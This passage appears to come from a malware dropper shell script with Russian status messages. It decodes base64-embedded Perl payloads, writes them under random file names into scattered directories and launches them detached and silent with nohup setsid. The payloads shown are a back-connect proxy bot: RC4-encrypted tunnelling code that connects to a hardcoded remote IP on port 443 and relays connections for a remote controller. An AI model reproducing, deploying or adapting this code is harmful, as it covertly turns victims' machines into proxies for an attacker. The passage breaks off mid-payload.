cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #27 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #27 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 28 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg 